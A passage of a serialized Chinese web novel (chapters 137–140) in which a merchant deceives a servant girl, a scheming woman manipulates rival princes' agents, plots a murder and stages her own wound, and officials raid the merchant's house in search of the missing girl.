张海小声叫吴怡出去,又从旁边房间进入内房,将这里看得清清楚楚。 “刚才有女孩子在这里,我不方便对你怎样,可是现在,你落在我手里,我就算杀了你,报官说你绑架他人,我救人过程中,你拼死抵抗,不幸生亡。县令大人不仅不会追求我,还得奖赏我路见不平拔刀相助呢。而你,就去死吧!” “你敢!”绑匪被五花大绑,却挺着胸脯子,一副大义凛然的样子。 “我有何不敢?”张海取下墙上挂着的宝剑,一剑狠狠刺过去,当剑尖与绑匪的喉咙即将相碰的霎那间,绑匪大喊一声,“我就是县令大人的人!” “你?你说你是县令大人的人?” “哼,怕了吧?知道怕就好,知道怕,就赶紧将我放了,饶你不死!” 张海犹豫着望向站在门后的吴怡,又说道:“你还敢冒充县衙之人,你不知道吧,你绑架的女子,就是县衙的杂役。” “她是县衙的杂役,我是大人的暗卫!我奉命行事,你一个小小商人不要多管闲事!” 张海犹豫着出了房门,走入吴怡所在的屋子。“吴小姐,你可认得他呀?他是五皇子的暗卫吗?” “暗卫?”吴怡脑中一团浆糊,“我不认识他,可是,可是我好像听说过什么暗卫。” “那我进去问问他,五皇子为什么要绑架你?你最近是不是得罪了五皇子?吴小姐,不是张某怕事,可是张某必须问清楚,若是你们主仆之间的事情,我也实在不好说什么。” 吴怡摇着头,“我没有得罪大人啊,我已经很努力地工作的。”吴怡的泪水再次决堤,“一直都是他欺负我的,我哪有得罪过他嘛。” 吴怡呜咽着,“他还说叫我跟他一起回京京城,可是他连自己是皇子的事情都没有告诉我,那我到了京城,岂不是要到宫里当宫女?那太监欺负了我怎么办?” 吴怡越想越伤心,“他还说他娘脾气不好,原来脾气不好的是皇后娘娘,那我要是惹皇后娘娘生气了,皇后娘娘要打死我怎么办?” “他还说会给我求一次情,那我天天惹祸,以后怎么办?他是不是就是要骗我到宫里,然后看着我被别人给打死,折磨死?死周大人,就知道你不安好心!” “吴怡,吴怡。” “张老板,你说周大人为什么要绑架我,他是不是怕我知道了他是皇子,不去京城了,他就不能叫太监们欺负我,折磨我了?所以就派人将我绑去? 张老板我跟你说,我去过一次京城,很远的。要是我一直被绑着,我还不得死在路上?!” “吴怡,我觉得他绑架你,不是为了让你去当宫女的吧?肯定有其他的原因。” 张海突然看着吴怡,欲言又止,最终还是没有再说什么。 “张老板?你是不是想到了什么?” “哦没有没有,没有的事。”张海赶紧摆手否认,却很快又觉得心中难安,“吴小姐,唉……”张海一手为拳一手为掌,拳头砸在手掌上,“其实有些话,我实在是不吐不快!他们那些皇子皇孙的,何时把我们小民之命放在眼里,今日,吴小姐被当街绑架,明日,也许要丢了性命,还不知道到底是为了什么!” “张老板,你什么意思?” “这……这个嘛……” “张老板?” “算了,我就豁出去了!吴小姐,我之前不是告诉过你吗,我在京中有些势力,和三皇子……这个,你是知道的。” “我好像听你说过。” “唉……不妨跟吴小姐明白说了,我就是三皇子派到这徽州敛财来了。我最开始啊,还以为那周大人是其他皇子派来的,结果谁知道我一调查,他竟就是个皇子。 上次呢,五皇子扣了我的货,我就找他对峙啊,可你猜他说什么? ‘这徽州,就是我与三皇子的逐鹿场,赢了徽州之人,定能入住东宫。’ 我那个时候才知道,他竟是五皇子,我也是那个时候才知道,人家高高在上的皇子,看待我们就像看待蝼蚁。” “张老板,你说周大人,不是,你说五皇子,是为了入住东宫才来徽州?那,太子不是皇帝陛下选的嘛?他,他怎么……” “吴小姐生长在民间,不知道朝廷之事,倒也不意外。 这太子之位,自然是天家之事,不容他人置喙。可是能左右皇帝之意的人,也不是没有。 而我的主子三皇子,背后最大的支撑便是李贵妃,她虽不是皇后,却收到皇帝的专宠,三皇子便也跟着很受宠。 可是五皇子是嫡子,他的母亲是大周皇后,外公是当朝宰相。而如今,他高中状元,又将徽商牢牢抓在了手中,太子之位,唾手可得。” 吴怡听到这里,想起那天周启与他说的话,原来他所说的家庭复杂,是真的复杂。 “张老板,那那些人为什么要绑架我?” “吴小姐有所不知,这些达官显贵,为达目的,无所不用其极。这五皇子无缘无故绑架你,肯定有什么不可告人的目的,毕竟,你都已经答应他去京城了,他还多此一举,一定有问题!” “那是为什么呢?” 张海摸着下巴分析道:“五皇子如今最大的敌人就是三皇子,他如今绑架你,难道是想…不对不对不对,这也太阴险了,五皇子应该不会。” “什么什么?张老板,你快告诉我,你想到什么了?” 张海故作为难,却还是说道:“这整个徽州都知道你是五皇子的人,若是你出了什么事,那第一个被怀疑的就是三皇子,我想,会不会是五皇子绑架你,然后去陷害三皇子呢?哎呀好险,若他真的这么打算,我现在徽州城里,可是首当其冲。你是不知道,我最近真是如履薄冰,要知道来这徽州会卷进两位皇子的争斗中,我打死也不来!唉,你也知道,前些天,五皇子无缘无故扣了我的货,害我延误了交货日期,白白遭受无妄之灾。”张海擦了擦他空无一物的脑门,“不过现在我知道了他的身份,自然不敢招惹他的,灰溜溜滚回京城,不再做生意了。” 吴怡怒从中烧,“死周大人!” “吴怡你先别生气,这一切都是我猜的。” 吴怡怒气冲冲,冲进前厅,将绑匪打了一顿,还将张海的推理说出来,当面质问绑匪,绑匪当然顺水推舟,吴怡气的说不出话来。 她想起这么多次,周开都翻脸不认人,将她耍得团团转。 吴怡豆大的泪珠砸在地上,徽州的冬天似乎格外冷。 “张小姐,你不要这样,我,要知道这样,我救了你就好,是我不该派人将绑匪抓住,更不应该告诉你我的推测。” “不关你的事,是那个什么五皇子,觉得我太笨,利用也就利用了。” 第一百三十七章 吴怡被张海控制 - 风吹繁花散落时 - 红酒羊排 “李婶?”李博见李婶站在门口一直向外张望,便上来询问,“你干嘛呢?” 李婶焦急地说道:“李大人,我叫吴怡去买菜,可是都到这个时候了,她也不回来,我怎么做饭呀!” 李博皱着眉头,“这个吴怡,越来越没规矩了!” “哎呀,她平时早就回来了,如今这是怎么了?不会是出了什么事了吧?” “这朗朗乾坤的,她一个小丫头能出什么事?府里没有菜了吗?” 李婶摇着头,“我来这府里帮厨之初,管家就交代过,这菜要每日买新鲜的。况且昨天大人说想吃鱼了,这鱼肯定要吃新鲜的啊。” 李博顿觉烦躁,“行了行了,大人吃饭要紧。来人!” 看门的衙役上前,“大人。” “你们赶紧去菜市场看看,要是路上碰见吴怡叫她赶紧回来,要是没看见,就将菜买回来。” “是。” —— 吴怡心情复杂,因为周启不仅一次的欺骗,吴怡身心俱疲。 “吴小姐,天色不早了,你看?” 吴怡回过神来,“哦叨扰张老板了,吴怡告辞。” “张某不是这个意思。”张海赶紧拦住吴怡的去路,“吴小姐,五皇子若发现你逃脱,不知道会作何打算,可是吴小姐现在回去,实在危险,若是吴小姐出了什么事,张某心中委实难安。” “张老板,你放心,我已经想好了。我一回去就告诉五皇子我不去京城了,也不在衙门做杂役了,等我离开县衙,他就不能再利用我陷害别人。” “吴小姐能如此决绝,张某真是心升敬佩,只是……” “怎么了吗?” 张海犹豫着,“我就是怕……吴小姐若是现在回去对峙,五皇子会恼羞成怒,万一他……况且,据我所知,吴小姐的父亲,还在五皇子的掌控之下吧?要是你现在贸然回去,五皇子以吴老爹的性命威胁于你,你又该怎么办呢?” 这种事情不是没有发生过,吴怡心中很是担心,“那我怎么办?” “幸好昨天我碰上你的地方很是偏僻,我那家丁是前两天刚来徽州的,那些五皇子派出来的人应该不认识他,所以五皇子应该不知道你被谁救走了。还有就是,我这里平时也没什么人来,你若是住在我这里,应该还是很安全。” “住在这?会不会太麻烦?” “怎么会呢?”张海问道:“吴小姐,这徽州城,你还有地方可去吗?” 吴怡摇摇头,若是以前,她还能去找钱宁想想办法,可是现在,她实在没有脸面去找钱宁。 张海真诚地说道:“吴小姐,县衙你肯定不能回去,徽州城里,你又无处可去。要是你冒险回老家,路上危险重重不说,万一被五皇子的人追上,你又如 何确保自己和吴老爹的安全呢?所以我想,你还是暂时留在这里最安全,静观其变,以静制动。” 吴怡心里很乱,却最终决定听从张海的意见,“那好吧,谢谢张老板。” —— 到了第二日,张灵一早便来到张海府上。 “吴怡连这都信?”张灵听了张海欺骗吴怡留宿的方法,觉得吴怡简直是蠢到家了。 “哼,五皇子上任一年,计谋耍的多了,咱们这些人觉得他是天资聪慧,有勇有谋,可对于一个乡下丫头来说,五皇子这样的人,就是一个为达目的,什么事情都做得出来的……坏人!” “五皇子的确聪明睿智,只是眼光不太好,看上这样的蠢货。” “张灵小姐,我该恭喜你呀,恭喜你脱离苦海,否则日后,有你后悔的。” “那我还得谢谢张老板喽?” “客气客气。” “你真无耻。” “哈哈哈,只有吴怡那种人才觉得我无耻呢,张小姐应该说,我真好手段,哈哈哈哈。” —— 张灵看准时辰,来到隰县县衙,周启竟然还不知道吴怡一夜未归的事情。 书房内,周启问道:“张海就没有起疑心?” “有点犹豫,但是着急也是真的。” 李博在旁边说道:“毕竟与张小姐做生意稳赚不赔了两次,他这次,算是咬上钩了。” 周启提醒道:“不要盲目乐观。” “大人,就算他起了疑心,买卖没有做成,我们其实也不损失什么。” 张灵激动地说道:“那怎么行呢?我都废了这么多心思。” “不错。”周启也赞成道:“我马上就要回京了,回京之时,我一定要给三哥点颜色瞧瞧,让他专心朝政,没事不要搞这些乱七八糟的东西!” 李博见周启严肃认真,便也认真起来,“张灵,你这两天不要来县衙了,省得张海起疑心。” 张灵笑言道:“李大人这是要赶我走了吗?昨天我看见吴怡,还跟她说想吃她做的芝麻汤圆,她还说今天就给我做呢,我这芝麻汤圆还没有吃上,就被下了逐客令,哎呀哎呀,李大人还真是冷酷无情呢。” “芝麻汤圆?”周启想起吴怡做的汤圆的确很好吃,“那让吴怡赶紧煮一碗,这也马上到饭点了,我也吃点。” 张灵笑着说:“那我去跟她说一声。” 李博突然想起昨天吴怡没有按时买菜回来,差点耽误了李婶做饭,后来的事情,李博并不知晓,也没有想到吴怡彻夜未归,只是觉得在周启面前说几句吴怡的不好,降低一下周启心中吴怡的分量,为日后回京做准备。便抱怨道:“人家吴怡现在可牛气了,李婶叫她去买菜,她跑出去大半天不回来,害得李婶着急,晚饭都耽误了 。” 张灵尴尬一笑,“她,也许有什么事情耽误了呢。” “她能有什么事情?我看她现在知道大家马上就回京城了,开始懈怠偷懒倒是真的。” 周启听李博这么说,心里有些别扭,“她现在人呢?” “不知道,半天也没看见人了,可能在院子里呢吧。” 张灵当起了和事佬,“李大人,我这就去请她点汤圆,她昨天可是答应我的,李大人也消消气,一起吃一碗吧。这大冬天的,吃些暖和的东西,人也会精神起来的。” 张灵说着便抬步去找吴怡,结果是必然的——没找到。 “真是奇怪,李婶说,吴怡昨天晚上就没有回来。” 李博吃了一惊,“这丫头不会跑路了吧?” “别胡说!”周启觉得大事不妙。 “大人,她欠你那么多银子,肯定是跑路了。” “我明明都跟她说了,不用她还银子,只要她跟我去京城就行,她怎么会跑路呢?况且,你爹还在由我的侍卫照顾,她跑路,她爹怎么办?她不会丢下她爹不管的!” 张灵见周启如此了解吴怡,心中难免漪涟阵阵,却更加坚定自己的盘算。 张灵不无担忧地说,“吴怡不会出事了吧?她一个女孩子,彻夜未归,又没有告诉任何人她去哪,对了,我去看看她的东西还在不在。”张灵转身就走,又很快回来,“还在的,东西都在呢。” 李博这才确定吴怡是真失踪了。 “两位大人,吴怡她……她不会真的出事了吧?”张灵拿起帕子擦了擦眼泪,好像给自己打气一般,“不会的不会的,吴怡很机灵的样子,若是她遇到了歹人,只要她说自己的这里的杂役,没人敢为难她,定会全身全尾的送回来。” “万一她没有机会说呢。”周启一句话,李博倒吸一口凉气,“大人,这徽州城,能有这样的穷凶极恶之徒吗?” 周启倒觉得,这徽州城,暗流涌动,穷凶极恶之徒多得很。 “连锁!连锁!” “大人,大人?”连锁听见周启招呼自己,赶紧跑进来,“大人有何吩咐?” “吴怡失踪了,你派所有人去找,记住,这徽州城里,所有地方都要找到。” 连锁早就知道吴怡昨晚上没有回来,他之所以没有报告给周启,就是觉得吴怡出不了什么大事。毕竟在徽州,周启的对手们一个个都身陷囹圄,似乎在这徽州,已经没人能对周启怎么样了。 “大人不必担心,这吴怡并不像我们这样守着规矩,到了晚上必须点卯的事情,她就从来不放在心中。所以奴才想,吴怡很快就会回来的。” “那我问你,昨天吴怡离开,所谓何事?” “李婶叫她去买菜,她每天都买菜,有时候和 李婶一起,有时候自己一个人去。” “那她可有什么异常?” 连锁摇着头,“没什么异常。” 周启提高了声音,“那还不去找!” 连锁吓了一跳,他自幼伺候周启,太了解他的脾气了,如今周启这样,定是不容置疑。 连锁带着所有衙役找遍了徽州城,直到傍晚时分,还是一无所获。 张灵已经哭了一次,“这个吴怡,到底跑到哪里去了嘛?” “张灵,你先回去吧,别忘了明天的事情。” 张灵简直周启面色平静,吩咐的语气也好像什么事情都没有发生一样。 “周大人,我……要是吴怡她……” “不会的,你不必胡思乱想。还有,明天你到张海那里,关于我这里丢了一个人的事情,你也可以告诉他一声。” “什么?” “如今满城都知道我这里丢了一个杂役,若是你故意不说,张海倒会起疑。” (本章完) 第一百三十八章 张灵的盘算 - 风吹繁花散落时 - 红酒羊排 吴怡失踪,周启派遣衙役寻找,徽州城再次风声鹤唳。 钱宁在柜上,第一时间知道了消息,他很想到县衙问问情况,思量再三后,只是叮嘱钱记的伙计多加留意,自己并未参与过多。 — “吴怡未归,五皇子已经派出所有衙役寻找,张老板,我忽然觉得,这笔买卖,你可是赚大了。” “哦?” “张老板何必藏揶?”张灵见张海完全没想到的样子,便提醒到:“五皇子为了一个杂役闹得满城风雨,若是按照你的计划,他在皇上面前污参兄长,还在徽州大耍官威,数罪并发,皇上面前,五皇子在徽州的所有功绩都将被抹杀,他还不一败涂地嘛。” 张海不无惊叹,“啧啧啧,张小姐,你若是个男儿身,我倒很想为三皇子招揽你入麾下。” 张灵不无惆怅地说道:“张老板就不要再往我的伤口里撒盐了吧。” 张海笑着摇头,“张小姐 “如今吴怡已经成功被我留在了府中,五皇子也做出了过激的反应。可是张小姐,如此关键时刻,我就怕五皇子会不顾一切,冲到我府上找人,你要知道,当时他为了追捕张广,不是没有这样干过。” “据我所知,那一次,他没有找到张广吧。” 张海问道:“张小姐,如今五皇子冲冠一怒为红颜,你真的能保证他会继续套路我的计划?万一弄巧成拙,张小姐可别忘了,三皇子那里,你还是躲不过去!” “哼,张老板,我是个生意人,从小就明白一个道理:做生意的时候,一定要从始至终想着同舟共济,不要总想着弄死对方。” 张海眼神冰冷,“张小姐是在做生意,我不是。” 张灵向前一步,离张海已经十分近了,“张老板,五皇子一定会掉进你的陷阱,你把心放在肚子里好了。” “哦?” “张老板。五皇子来搜查,你就将吴怡还给他好了。” “你到底什么意思?” “你赶紧将三皇子和李天时的所谓罪证给我,完了事,你就将吴怡……”张灵用手做剑一抹脖子。 张海倒吸一口凉气,下意识后退一步,“你说什么?” 张灵嘴角上扬,阴笑道:“怎么,不敢?” “做掉她容易,做掉她之后,我还能回京吗?” 张灵鄙夷地看着张海,“张老板,你如此蠢笨,还想相助三皇子谋得大位?我劝你还是不要做那春秋大梦好了。” 张海一把抓住张灵的衣领子,张灵却毫无惧色,“张老板,你现在杀了我,比杀了吴怡还要难办,你可想好了!” 张海已经大觉自己掉进了张灵的陷阱,可是现在抽身已经难了,他松开了张灵,说道:“我杀了吴怡,嫁祸给三皇子,你再将我故意给 你的三皇子的罪证交给五皇子,五皇子必定冲昏头脑,回京必定参奏三皇子。这条计策的确好得很,但是我要首先确保我能活着离开徽州才行。 哼哼,张小姐真是好计策,环环相扣,把我和五皇子都玩弄于股掌之中,现在的情形是,我们这些男人,得要听你的摆布了。” “万事俱备只欠东风,张老板,动手吧。” 张海思虑良久,心中一横。“来人!” 张灵见一俊朗男子走了进来,张海与之耳语两句,男子得令离开。 张灵心脏砰砰砰直跳,她望向大门口,那里还安安静静,没有动静。张灵知道现在还不是最佳时机,但是今天过后,一切都将尘埃落定。 —— “你说不找吴怡了?什么意思?” “你这么激动干嘛,你不是第一个建议我不用找吴怡的人吗?” 李博丈二和尚摸不着头脑,“我开始以为那个笨女人没规没矩的,准不定跑哪里玩去了,可是这大家伙找了一天,连个踪迹都没找到,我就觉得不对劲了。” “她不是笨女人。” 李博惊奇地看着周启,“她…我说了这么多,难道你就听见一个字啊?” “我都听见了,我也知道吴怡必是出了危险。” “那你怎么又不让大家找她了呢?” “李博,你说在这徽州城,谁会对吴怡不利?” “要说对人不利,必是有所图谋,就算是地痞无赖逼良为娼,也看不上吴怡啊。这么想想,谁能对吴怡有所图谋呢?她身上又没有钱,还有很多人知道她是衙门口里的人,虽然只是个杂役,可宰相门人三品管,没人敢招惹她才对呀。” “所以他们从一开始,就不是冲着吴怡的。” 李博突然惊醒,“你是说…可这徽州城里,还有谁敢对你不利?”李博突然想到:“难道是张海?” “你觉得会是吗?” “张海?张海似乎还不知道你的真实身份,若是知道了,他必然不敢。若是不知道,以他之前的行事风格,他都是直接派人刺杀,况且吴怡已经失踪一天一夜了,绑匪怎么什么条件都不提?我觉得不像是张海。” “你觉得张灵如何?” 李博有点跟不上周启的思维,“怎么又说起张灵来了?” “你不觉得奇怪吗?” “哪里奇怪?我没觉得呀。” 周启看着李博良久,李博心里发毛,“恕臣愚钝,臣真的没觉得。” “我叫你在牢里放松警惕,可是半个人也没抓到,张广竟也还好端端活着。这不奇怪呢?” “五皇子,你怎么又说到张广了?你能不能说的清楚点,我真的不明白。” “我们都已经知道,张海来这徽州是为了帮三哥敛财,所以李贵妃在宫内 陷害钱记,张海勾结余年,想把钱记的罪名坐实,于是就与我这个保住了钱记的知府起了冲突。 之后马匪进城,也是张海一手安排的。 我始终觉得张海这个人做事滴水不漏,不容小觑,但是这一次,他放任张广在牢里,被我攥在手心里。 李博要是我的把柄落在别人手里,我一定会想尽办法灭口,可是张海怎么没来呢?” “难道?难道张海已经来过了?或者他有把握叫张广不敢攀咬他?不对呀,张广的家人明明在你手上,他如何威胁张广?” “张广的家人并没有在我手上,我的人到了张家,张家人已经悉数失踪了。我想,应该是张海亦或是李天时在张广被抓之时,就派人去控制了他的妻儿。”周启遗憾地说道:“真是一步差步步差。” “这件事我怎么不知道?” “是我没有告诉你。” 李博心里一沉,他一直以为自己是那个周启绝对能信任的人,如今这么大的事情,周启竟然没有透露分毫,这简直就是一个不再与他贴心的信号。 但是李博有不甘心,“五皇子,您没有告诉微臣此事,是因为?” 周启并没有正面回答李博的问题,而是问道:“你何时与张灵如此亲近了?” “嗯?” “张灵,她想嫁入皇室吧?你说这个女人很厉害吧?但你们最近在我面前一唱一和,挺默契!” 周启缓缓说出,语气不急不慢,声音不高不低,李博却觉得晴天霹雳,“我没有和她一唱一和啊,这不是你要带她回京了吗,我想着以后万一她成了主子,我这样总是横眉冷对的不好,便对她客气了一点而已。” 周启嘴角上扬,“我又没说你这样不行,瞧你吓的。” 李博很委屈地说道:“五皇子,我李博对你可是忠心耿耿的,绝没有做过一件不利于你的事情啊。” “我知道,所以,你还能站在这里和我说话。” 李博咧着嘴笑道:“多谢五皇子信任。 那我就明白了,你是怀疑张灵,怕我说漏了嘴?可是为什么呀?” 周启严肃说道:“我听吴怡说,张灵做生意从无败绩。” “那是她头脑精明,眼光独到呗。” “我可是打听过了,她最具争议的事情,就是曾经一人吃两家,赚了个盆满钵满,虽然那两家也赚了,可没她赚的多就是了。” “那她还算仗义啊,这商场上,一人吃两家,害人家倾家荡产的不在少数吧。” “的却,所以我也没觉得她做的有什么不对。但是官场毕竟与商场不同,我们是要你死我活的。” “哎不对呀,你打听出来的?你早就怀疑张灵了?什么时候,为什么呀?” 周启也不藏揶,“你还记得 我问过张灵两次,张海是否起疑吗?” “好像有这么回事。” “我刚才说了,张海不容小觑,他却对张灵所说的生意毫不质疑,你觉得合理吗?” “也许只是张灵没有告诉你,怕你担心吧。” 周启摇摇头,“她是一个商人,她想嫁入皇宫,她如今替我做事,难道不应该没有困难也要装作很难的样子,好叫我觉得她很有用处吗?可她怎么正好相反,搞得这件事看上去极其简单,好像谁去都能骗得张海团团转一般?” “照你这么说,的却有些奇怪。” “张海没有去杀张广,张灵又有事没有告诉我们,在这件事里,有太多我不清楚的背后事。李博,如今吴怡失踪了,我却连她为什么失踪都不知道。这种情况下,我们决不能轻举妄动。” (本章完) 第一百三十九章 张海中计 - 风吹繁花散落时 - 红酒羊排 周启与张海互相知道了彼此的底细,瞬间发展为水火不容之势。 张灵毛遂自荐,意图通过与张海做生意收集三皇子勾结徽商的罪证,却被张海识破威胁,张灵表面上改弦更张,听从张海调遣,实则将张海与周启全部玩弄于鼓掌之中。 周启想要打击三皇子,张海便要借机给他一个假证据,想要在日后的御前奏对中,帮助三皇子力挽狂澜,一举成为三皇子的谋士。 张灵作为周启与张海之间的“双面间谍”谋求的却是鹬蚌相争渔翁得利。 两个人做生意,是背后两人的巅峰对决,更是三个人的人心算计。张灵觉得这很有意思,甚至对日后的皇家生活充满了期待。 张灵发觉了周启对吴怡的情谊,最开始她以为那只是一个皇子图新鲜罢了,所以她打算采纳李博的建议,等到回京之时,利用吴怡的鲜明对比,得到皇家的首肯。 但是情况风云变化,张灵发现周启已经对吴怡情根深种。张灵忽然发现就算自己得到了皇家的首肯,如愿以偿嫁入了皇家,也无法得到丈夫的心,一辈子默默无闻无法问鼎皇后之位是可以预见的。 张灵不能容忍这样的未来,她想要在宫里大施拳脚,就要周启的宠爱,哪怕只有一时,只要张灵扫清了所有的障碍,周启日后对她如何,她并不十分在意。 张灵追本溯源,觉得最大的变数便是吴怡。回京后正面争夺周启的恩宠,不如就在这徽州,干掉吴怡,当然还有张海。 周启反正也拿不到三皇子的罪证,还不如先给自己谋点福利,将威胁自己的张海也干掉。按照张海所说的,三皇子和户部尚书李天时并不知道此地的情形,张海想做局,引两位皇子入局,趁乱得利,可张灵作为一个局中人,也做了一个局,目标却是做局人。 张灵思前想后,觉得自己的计划天衣无缝,便安心等着。 —— 周启吩咐李博外松内紧,所有衙役照常巡街,十个侍卫便衣出街,继续搜寻。 只不过还不等周启有所动作,钱记的伙计在收到钱宁的吩咐后,还真有人报告了吴怡的行踪。 原来,钱记的香料铺正在菜市场入口处,街上四面八方的情况都看得一清二楚。而香料铺的伙计在送货的路上,一眼看见了吴怡被人打晕装进麻袋的情形。只是当时客人催促,伙计才没能施以援手。 —— 周启果然不负所望,就在张海派人去杀吴怡后不久,张府的大门口就乱了起来。 张海心里一沉,警觉起来,“怎么回事?” “东家东家,好像全是差官。” “差官?”张海看了一眼张灵,“来得够快的。” 张海以为周启又要来一次虚张声势地搜查,便吩咐道:“你赶紧去后院,帮着阿大把那女人做了,先将尸体藏在暗格里。” 张海又对张灵说道:“张小姐要不要躲躲?” 张灵笑容神秘,“我怎么能走呢。” “张小姐,这周大人可不是什么怜香惜玉之人,他的手下更是粗鲁之人,我怕一会儿,吓着你。” “哼,张老板不要吓着就行。” “我?哈哈哈,张小姐说笑了。” 张灵眼神突然变得凌厉,“张老板,希望到了牢里,你也能这么慷慨。” 张海觉得浑身一紧,“你什么意思?” “张老板,你怎么不问问我,为何五皇子的人这么快就找到了这里?你真以为他是来吓唬你的?在你心里,五皇子,就这么蠢?” 张灵觉得好笑,讥讽地看着张海,“实话告诉你吧,五皇子的人,是我引来的,而他们来的目的很明确,那就是来救吴怡的,可是吴怡被你杀了,他们也就只好抓你去交差了。 哈哈哈我已经说过了,你这么蠢,就该早点打消了那飞上枝头变凤凰的奢望,可是你偏不听。 哼,我张灵长在商贾之家,你们这些官宦人家瞧不起我们,可白花花的银子,你们不会看不上吧?” 张灵环顾大厅,“就是在这里吧,我可是亲口教了张老板一些,经商的道理。” 张海死死盯住张灵,“看来张小姐,是想鱼死网破了?” “哈哈哈,张老板,蠢话还是少说了吧?我张灵学会的悟出的道理,就是白得的吗?张老板,俗话说得好,教会了徒弟饿死了师父,偏偏我这个师父知无不言言无不尽,因为我教你的时候,就知道,你马上就要死了!” 张海听见门口的喧闹,便说道:“张小姐最终还是选择了五皇子啊,看来是三皇子未能入张小姐的法眼。可是五皇子,就是那么好骗的吗?” 张灵见张海如此,倒来了兴趣,“既然昨日张老板好兴致,给我讲了一大堆算计,那我今日,便还你此情。” “张某倒是很想听听。” “张老板,我之前的确没有把你当一回事,连骗你,我都觉得累。 可是你却出乎意料,看穿了五皇子的身份,揭穿了我的阴谋。 你拿三皇子威胁我,根本就是狐假虎威,你就没想过,你要是死了,那远在天边的三皇子,会给你报仇吗?你要是死了,我又入嫁皇室,他三皇子还敢威胁于我?借他一个胆子,他敢拿我张家怎么样? 蠢货!我将计就计而已,你却以为自己占了上风。 你昨日侃侃而谈的样子,真是令人作呕!” “张灵,你就不怕我告诉五皇子,这一切都是你策划的?是你绑架的吴怡,又是你派人通风报信,引他来抓我。张灵,你觉得哪个男人,会甘心被一个女人牵着鼻子走?嗯?” 张灵戏谑地笑道:“你告诉他什么?人是你绑架的,尸体也将在你家被发现,关我张灵何事?通风报信的,是钱记的伙计,是他钱宁下令伙计们留意的,关我张灵何事?” “钱宁?这么说,钱记的伙计中,有你的人?” 张灵露出了一个“你总算明白了”的表情。 “五皇子何等聪慧,他若是调查,就不会查出那伙计是你的卧底?” “钱记的伙计怎么会是我的人呢?那掐准时机叫伙计送货的客人,才是我的人呢。而那伙计,看见绑架吴怡的人,是你的人。” “我的人?”张海心凉了一截,“你竟收买了我的人?是谁?” “当然是你府上经常出没菜市场的小厮啊,要不然,钱记的伙计怎么会一眼认出呢?”张灵说着说着竟笑了起来,“张老板,你觉得我收买的这个人,怎么样?不显山不露水,却直指张府。” 张海苦笑道:“好好好,张灵,是我小瞧你了。” “还不止呢。”张灵知道张海死期已到,干脆和盘托出,“我把吴怡交给你,告诉你日后可以利用吴怡,置五皇子于死地。可是张老板,你哪还有什么以后呀。 我要置于死地的,就是你一个人而已。 张老板,你是不是还觉得自己懂得审时度势?我叫你留着吴怡你就留着她,我叫你杀了她激怒五皇子,你就毫不犹豫派人去杀她。 哈哈,如今你的手下已经去了这么久,吴怡应该已经走上黄泉路了吧?张老板,我真的要谢谢你呢,帮我除去心腹大患。” 张海点这头,“好好好,张小姐真是好手段。” 张灵亭亭玉立,好像所有的算计都已经圆满,张海却阴笑道:“张小姐有没有听过一句话?” “什么话?” 张海向前一步,与张灵小声言语:“君子不立于危墙之下。”话音未落,张海抬手便来掐张灵的脖子。 可他没有想到,张灵身形矫健,一下躲开了。 “你?”张海觉得腹部被一个东西顶着,便没有轻举妄动。 “张老板,我忘了告诉你,我张灵一个女孩子,走南闯北的,没有一点功夫傍身,怎么可能呢?”说着,张灵手上一用力,手中的匕首刺进张海的肚子。 张海赶紧抽身,捂着肚子想抽墙上的宝剑,衙役们终于破门而入,张灵看好时机,给自己的胳膊上划了一道。 “救命啊!救命!”张灵一边大喊,一边往衙役身边逃去。 张海自知大势已去,拼死抵抗。能够逃脱最好,若是不能,帮后边两人争取时间,杀了吴怡,也算是对五皇子最大的报复了! 张灵站在衙役身后,捂着被自己伤了的胳膊冷眼旁观,张海渐渐不敌,被衙役们拿下。 张海被捆绑着跪在地上,恶狠狠瞪着张灵,却一言不发。 张灵嘴角上扬,余光看见周启在李博的护送下前来,便皱着眉,紧张地低头看自己的伤口。 周启单手持剑,直奔张海,“吴怡呢?” 张海抬眼白了周启一眼,嘴角上扬,说道:“有本事,你自己找啊。” “放肆!”李博呵斥道:“赶紧把人交出来,免你不死!” “哼。” 张灵站在一旁,问道:“吴怡在这吗?李大人,什么意思啊?” 张海看着这心机深沉的女人,突然笑了起来。 李博向前一把抓住捆绑张海的麻绳,“你笑什么?” 张海觉得张灵若是真嫁入了皇宫,五皇子是福是祸真的不好说啊。这么想着,张海下定决心,不揭穿张灵了,就算他今日就要死在这徽州,想想日后,大周皇室将被这阴险的女人搅得天翻地覆,兄弟相残,张海甚至有些快慰。 “李大人,我说了,你把人找出来,我们可以当面对质,找不出来,你就是钦差也不能随便抓我!哦对了,你早就不是钦差了,你现在不过是个游山玩水,游手好闲的皇室宗亲,有什么资格抓我?嗯?” 李博一推张海,何平正好前来报告搜查情况。 “大人。”何平一抱拳,向周启汇报道:“后院没人,所有房间也都找过了,没有找到吴怡。” 张灵大吃一惊,刚刚她明明看见张海的家丁往后院去了。 周启阴着脸,“井里看了吗?” “看过了,没有。” “秘阁呢?” “砸开了,也没有。” 周启与李博对视一眼,李博一脚踹在张海身上,“还不老实交代!” “哈哈哈。”张海倒在地上狂笑道:“两位大人在这里私设公堂,就是到了御前,这也是死罪!” 第一百四十章 吴怡逃过一劫 - 风吹繁花散落时 - 红酒羊排 张灵做局,请张海入瓮,可所有的算计因为吴怡的失踪功亏一篑。 “怎么会呢?”张灵不自觉发问,周启听得一清二楚,“张灵?” 张灵还捂着胳膊,赶紧说道:“大人,你是不是得到了确切的消息,要不不能如此大动干戈吧?可是这前前后后都没有吴怡的踪迹,这也太奇怪了吧?” 周启点头道:“我的确收到了确切的线索,哎?你怎么在这?你胳膊怎么了?” 张灵紧张地看了一眼张海,与周启耳语道:“不是你让我来拿三皇子的担保物产吗?” “拿到了吗?” 张灵惭愧地摇头,“没有。” “你胳膊上的伤是怎么回事?” 张灵犹豫着说道:“我本来前来请张海做担保,可是他突然发怒,说已经知道了你的身份,还看穿了我的欺骗,恼羞成怒要杀了我。”张灵愧疚异常,“大人,对不起,都是我的错,耽误了你的大事。 周启心中仍有一丝怀疑,却还是安慰道:“委屈你了,连锁,快带张小姐去看大夫。” 张灵柔柔弱弱的样子,在连锁的搀扶下去看大夫。 张海心里盘算,张灵却是一个不好对付的,将这红颜祸水留给五皇子正好,可是吴怡哪里去了呢?要是已经被杀了,尸体应该在秘阁里才对,可是为什么何平都带人砸开了秘阁却一无所获呢?还有阿大去哪里呢?跑了?不应该啊,阿大对他,比张广对他更要忠心耿耿,阿大绝不会弃他于不顾的。 张海一声不吭,李博觉得这样不是办法,便询问周启道:“大人,现在怎么办?” 周启双手背后,冷冷说道:“众衙役听令。” “在!” 